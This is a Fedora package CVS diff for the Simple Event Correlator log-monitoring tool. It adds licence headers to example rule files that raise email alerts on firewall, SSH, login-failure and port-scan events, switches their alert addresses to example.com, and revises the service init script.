desc=PIX $1 Failover: Command replication failed for Peer: $2
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 316001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied new tunnel to (\d+.\d+.\d+.\d+). VPN peer limit.*exceeded.*
desc=PIX $1 VPN Peer limit exceeded for $2
action=create plm_$1; add plm_$1 %t; add plm_$1 %s; add plm_$1 $0; report plm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete plm_$1

# 317003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table creation failure - (.*)
desc=PIX $1 Route table Error: $2
action=create rte_$1; add rte_$1 %t; add rte_$1 %s; add rte_$1 $0; report rte_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rte_$1

# 317004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit warning
desc=PIX $1 Routing table limit reached
action=create rtl_$1; add rtl_$1 %t; add rtl_$1 %s; add rtl_$1 $0; report rtl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtl_$1

# 317005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit exceeded - (.*), (\d+.\d+.\d+.\d+).*
desc=PIX $1 Route table limit breached by $3:  $2
action=create rtb_$1; add rtb_$1 %t; add rtb_$1 %s; add rtb_$1 $0; report rtb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtb_$1

# 323005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) can not be powered on completely
desc=PIX $1 Slot $2 will not power on
action=create slp_$1; add slp_$1 %t; add slp_$1 %s; add slp_$1 $0; report slp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete slp_$1

# 411002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Line protocol on interface (\S+) changed state to down
desc=PIX $1 Interface $2 is DOWN!
action=create lpd_$1; add ldp_$1 %t; add ldp_$1 %s; add lpd_$1 $0; report lpd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lpd_$1

# 412002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Detected bridge table full while inserting MAC (....\.....\.....) on interface .*
desc=PIX $1 MAC Address table is FULL!
action=create brf_$1; add brf_$1 %t; add brf_$1 %s; add brf_$1 $0; report brf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brf_$1

# 505001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is shutting down.  Please.*
desc=PIX $1 Slot $2 is shutting down!
action=create sht_$1; add sht_$1 %t; add sht_$1 %s; add sht_$1 $0; report sht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sht_$1

# 505002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is reloading. Please.*
desc=PIX $1 Slot $2 is reloading!
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 605004
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Login denied from (.*) to (.*) for user "(\S+)"
desc=PIX $1 Auth Attack from $2 to $3 ($4)
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 611102
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User authentication failed: Uname: (\S+)
desc=PIX $1 Auth Attach from $2
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 615002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*vlan number not available for firewall interface
desc=PIX $1 VLAN Error for FWSM
action=create vln_$1; add vln_$1 %t; add vln_$1 %s; add vln_$1 $0; report vln_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete vln_$1

#


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	28 May 2007 20:06:22 -0000	1.4
+++ .cvsignore	3 Oct 2009 07:52:14 -0000	1.5
@@ -1 +1 @@
-sec-2.4.1.tar.gz
+sec-2.5.2.tar.gz


Index: amavisd.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/amavisd.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- amavisd.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ amavisd.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,5 +1,11 @@
-#Amavisd events
-
+#############################################################################
+# Amavisd events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Sep  4 15:43:02 xxxxx clamd[581]: /var/amavisd/amavis-20050904T153955-46858/parts/part-00001: HTML.Phishing.Bank-1 FOUND
 type=Single


Index: bsd-MONITOR.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/bsd-MONITOR.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-MONITOR.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-MONITOR.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,9 +1,14 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # SEC rules to pick up disruptive monitoring
 # events.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#
 #Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
 #----------------------------------------------------------------------
 #Nov 15 20:02:48 foohost syslogd: exiting on signal 15
@@ -50,5 +55,5 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+kernel: swap_pager_getswapspace\(\S\): .*
 desc=$0
-action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at yourdomain.com
+action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at example.com
 


Index: bsd-PHYSMOD.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/bsd-PHYSMOD.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-PHYSMOD.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-PHYSMOD.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,9 +1,13 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # PHYSMOD.conf - Events concerning physical modifications
 #                to the system.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving physical modifications (PHYSMOD)
 #------------------------------------------------


Index: bsd-USERACT.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/bsd-USERACT.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-USERACT.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-USERACT.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,7 +1,12 @@
 #
+# Events concerning user activities.
+#
 # From http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
 #
-# Events concerning user activities.
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving logins, change of UID and privilege escalations (USERACT)
 #-------------------------------------------------------------------------


Index: conf.README
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/conf.README,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- conf.README	1 Sep 2006 20:54:01 -0000	1.1
+++ conf.README	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,10 +1,10 @@
-This is the SEC configuration directory.  Because SEC usage varies so widely
-from user to user, this Fedora Extras package is configured by default to not
-run.
+This is the SEC configuration directory. Because SEC usage varies so widely
+from user to user, this package is configured by default to not run.
 
 The commented-out default settings in /etc/sysconfig/sec will load any file in
-this directory with a .sec suffix.  Please look through the example files
-included in /etc/sec/examples/ and install the ones you want here (taking into
-account that the examples are generic and some of them may need to be tweaked
-to work with your setup).  You should also read the SEC man page so you have
-at least a basic understanding of the SEC configuration commands.
+this directory with a .sec suffix. Please look through the example files
+included in /usr/share/doc/sec-<version>/examples/ and install the ones you
+want here (taking into account that the examples are generic and some of them
+may need to be tweaked to work with your setup). You should also read the SEC
+man page so you have at least a basic understanding of the SEC configuration
+commands.


Index: cvs.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/cvs.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvs.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ cvs.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,3 +1,11 @@
+#############################################################################
+# CVS events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Jul 31 19:54:21 xxxx xinetd[2088]: START: cvspserver pid=16385 from=xx.xx.xx.xx
 
@@ -14,7 +22,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: password mismatch for (.*) in (.*)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at example.com
 
 
 #Aug  5 10:38:49 xxxx cvs: attempt to root from account: username
@@ -23,7 +31,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: attempt to root from account: (.*)
 desc = cvs login to root attempt
-action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at yourdomain.com
+action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at example.com
 
 
 #Aug  5 10:42:37 xxxx cvs: login failure (for /usr/local/cvsroot)
@@ -32,5 +40,5 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: login failure \(for /usr/local/cvsroot\)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at example.com
 


Index: dameware.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/dameware.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dameware.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ dameware.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,10 +1,19 @@
+#############################################################################
+# Dameware events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
+
 #Dameware Connect
 type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) DMWRCS: (.*) Connect: (.*)
 desc = Dameware Connect
 action=add WINDOWS_REPORT DAMEWARE CONNECT: %s; \
-pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at yourdomain.com
+pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at example.com
 
 
 #Dameware Disconnect


Index: hp-openview.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/hp-openview.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hp-openview.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ hp-openview.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,10 +1,14 @@
 ################################################################
 #          Sample SEC ruleset for HP OpenView ITO
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process Cisco linkDown/linkUp trap events received from 
 # HP OpenView ITO trap template through itostream plugin
-# Submitted by Risto Vaarandi
 
 type=PairWithWindow
 ptype=RegExp


Index: labrea.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/labrea.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- labrea.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ labrea.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,4 +1,11 @@
-#Labrea tarpit events
+#############################################################################
+# Labrea tarpit events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -25,5 +32,5 @@ type=Calendar
 time=0 8,12,20 * * *
 desc=Sending tarpit report...
 action=report TARPIT_REPORT \
-       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at example.com; \
        delete TARPIT_REPORT


Index: pix-security.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/pix-security.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-security.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-security.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Cisco PIX 6.x, 7.x
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # Process various events from PIX syslog output
@@ -19,7 +24,7 @@ type=SingleWithThreshold
 ptype=RegExp
 pattern=\s*.*Deny\s+(\w+)\s+src.*:(.*)/.*:(.*)/(\b2\d\b).*$
 desc=Unusual Failures:$1 $4/$2 -> $3
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=10
 thresh=10
 
@@ -31,7 +36,7 @@ continue=dontcont
 ptype=RegExp
 pattern=(212\.147\.14[12]\.)
 desc=Possible PHEL Trojan (1)
-action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at domain.com; delete phel_$1
+action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at example.com; delete phel_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall failovers
@@ -50,7 +55,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Primary\).*$
 desc=Secondary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (standby) firewall while primary is active
 # Works for PIX 7.x
@@ -62,7 +67,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Secondary\).*$
 desc=Primary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (active), primary assumes active
 # Works for PIX 7.x
@@ -79,7 +84,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Primary\).*Peer state Standby Ready
 desc2=Secondary (was active) firewall ($1) has failed.  Primary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # Failure of primary (active), secondary assumes active
@@ -97,7 +102,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Secondary\).*Peer state Standby Ready
 desc2=Primary firewall ($1) has failed.  Secondary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # ------------------------------------------------------------------
@@ -114,7 +119,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX reload.*$
 desc=$1 has been manually rebooted
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com ; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com ; delete ffo_$1
 
 # Manual reload of PIX
 # Works for PIX 7.x
@@ -126,7 +131,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Orderly reload.*Reload reason:\s(\S+)
 desc=$1 has been manually rebooted, reason: $2
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # ------------------------------------------------------------------
 # Watch for SSH logins/failures on firewalls
@@ -152,7 +157,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'.*to\s(\d+\.\d+\.\d+\.\d+)\/0.*SSH
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Successful Admin SSH session
 # Works for PIX 7.x
@@ -165,7 +170,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'\sfrom\s(\d+\.\d+\.\d+\.\d+)\/0.*/22.*$
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 6.x
@@ -178,7 +183,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*SSH
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 7.x
@@ -191,7 +196,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*/22.*$
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Normal SSH termination
 # Works for both PIX 6.x and 7.x
@@ -202,7 +207,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*\"(\S+)\".*terminated normally
 desc=ADMIN END $1 -> $2
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # SSH session timeout or abnormal termination
 # Works for PIX 6.x
@@ -214,7 +219,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*disconnected by SSH server
 desc=Firewall session END - timeout $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall commands
@@ -228,7 +233,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*write\sm.*
 desc=User wrote config to memory -> $1
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 
 # Watch for HIGH CPU Utilization
 # Works for PIX 6.x
@@ -237,5 +242,5 @@ type=Single
 ptype=RegExp
 pattern=PIX-.-211003
 desc=HIGH CPU Utilization
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 


Index: pix-url.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/pix-url.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-url.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-url.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Monitoring Keywords
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # This particular ruleset was designed to monitor PIX syslog traffic
@@ -41,7 +46,7 @@ type=Single
 ptype=PerlFunc
 pattern=sub {($_[0] =~ /($list)/) }
 desc=Inappropriate word in URL
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 #
 # Examples of "watch4badwords" and "watch4excludes"


Index: portscan.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/portscan.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- portscan.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ portscan.sec	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,5 +1,10 @@
 ################################################################
 # Sample SEC ruleset for "PORTSCAN FROM ip1 TO ip2:port" events
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process "PORTSCAN FROM ip1 TO ip2:port" events, and if a certain
@@ -35,6 +40,6 @@ context=HORIZONTAL_PORTSWEEP_FROM_SOURCE
 continue=DontCont
 desc=$1 has scanned more than 10 destinations
 action=report HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3 \
-       mail -s 'Horizontal port sweep from $1 target port $3' root at localhost; \
+       mail -s 'Horizontal port sweep from $1 target port $3' root at example.com; \
        delete HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3; \
        eval %o ( delete $portscans{"$1:$3"} )


Index: sec.init
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-12/sec.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.init	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.init	3 Oct 2009 07:52:15 -0000	1.2
@@ -1,88 +1,102 @@
 #!/bin/bash
 #
-# sec           This starts and stops SEC
+# sec           Start and stop SEC.
 #
-# chkconfig:    - 26 74
+# chkconfig:    - 20 80
 # description:  Simple Event Correlator script to filter log file entries
-# processname:  /usr/bin/sec
-# config:       /etc/sysconfig/sec
-# pidfile:      /var/run/sec.pid
-#
-
-# Source function library.
-    . /etc/rc.d/init.d/functions
-
-# Default to a clean return value
-    RETVAL=0
-
-# Program we'll be executing
-    EXEC='/usr/bin/sec'
-    prog='sec'
 
-    [ -f $EXEC ] || exit 0
+. /etc/rc.d/init.d/functions
 
-# Source the config
-    [ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
+prog="sec"
+exec="/usr/bin/sec"
+lockfile="/var/lock/subsys/sec"
 
-# No options defined means that sec can't run
-    [ -z "$SEC_ARGS" ] && exit 0
-
-# And away we go...
+[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
 
 start() {
-    for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
-        echo -n $"Starting $prog instance "$(($n + 1))": "
-        daemon $EXEC ${SEC_ARGS[$n]}
-        RETVAL=$?
-        [ $RETVAL -ne 0 ] && return $RETVAL
-    done
-    touch /var/lock/subsys/$prog
-    return $RETVAL
+	[ -x $exec ] || exit 5
+	for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
+		echo -n $"Starting $prog instance "$(($n + 1))": "
+		daemon $exec ${SEC_ARGS[$n]}
+		RETVAL=$?
+		echo
+		[ $RETVAL -ne 0 ] && return $RETVAL
+	done
+	touch $lockfile
+	return $RETVAL
 }
 
 stop() {
-    echo -n $"Stopping $prog: "
-    killproc $prog
-    RETVAL=$?
-    echo
-    [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/$prog
-    return $RETVAL
+	echo -n $"Stopping $prog: "
+	killproc $prog
+	RETVAL=$?
+	echo
+	[ $RETVAL -eq 0 ] && rm -f $lockfile
+	return $RETVAL
+}
+
+restart() {
+	stop
+	start
 }
 
 reload() {
-    echo -n $"Reloading configuration: "
-    killproc $prog -HUP
-    RETVAL=$?
-    echo
-    return $RETVAL
+	echo -n $"Reloading $prog: "
+	killproc $prog -HUP
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
-restart() {
-    stop
-    start
+force_reload() {
+	restart
 }
 
-dump() {
-    echo -n $"Dumping state in /tmp/sec.dump: "
-    killproc $prog -USR1
-    RETVAL=$?
-    echo
-    return $RETVAL
+rh_status() {
+	status $prog
 }
 
-sec_status() {
-    status $prog
+rh_status_q() {
+	rh_status >/dev/null 2>&1
+}
+
+dump() {
+	echo -n $"Dumping state of $prog in /tmp/sec.dump: "
+	killproc $prog -USR1
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
 case "$1" in
-    start|stop|reload|restart|dump)
-        $1
-        ;;
-    status)
-        sec_status
-        ;;
-    *)
-        echo $"Usage: $0 {start|stop|reload|restart|dump|status}"
-        exit 2
+  start)
+	start
+	;;
+  stop)
